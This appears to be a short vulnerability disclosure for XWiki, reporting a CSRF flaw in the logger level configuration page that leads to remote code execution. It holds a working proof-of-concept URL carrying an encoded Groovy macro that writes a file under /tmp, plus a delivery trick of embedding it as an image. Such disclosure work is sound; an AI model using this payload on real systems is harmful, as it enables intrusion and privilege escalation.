CSRF RCE vulnerability in the logger level configuration

Steps to reproduce:

Trick a user with programming rights into visiting <xwiki-host>/xwiki/bin/view/XWiki/LoggingAdmin?loggeraction_set=1&logger_name=%7B%7Bcache%7D%7D%7B%7Bgroovy%7D%7Dnew+File%28%22%2Ftmp%2Fexploit.txt%22%29.withWriter+%7B+out+-%3E+out.println%28%22created+from+notification+filter+preferences%21%22%29%3B+%7D%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fcache%7D%7D&logger_level=TRACE where <xwiki-host> is the URL of your XWiki installation, e.g., by embedding an image with this URL in a document that is viewed by a user with programming rights.

Expected result:

No file in /tmp/exploit.txt has been created.

Actual result:

The file /tmp/exploit.txt has been created with content "created from notification filter preferences!". This demonstrates a CSRF remote code execution vulnerability that could also be used for privilege escalation or data leaks (if the XWiki installation can reach remote hosts).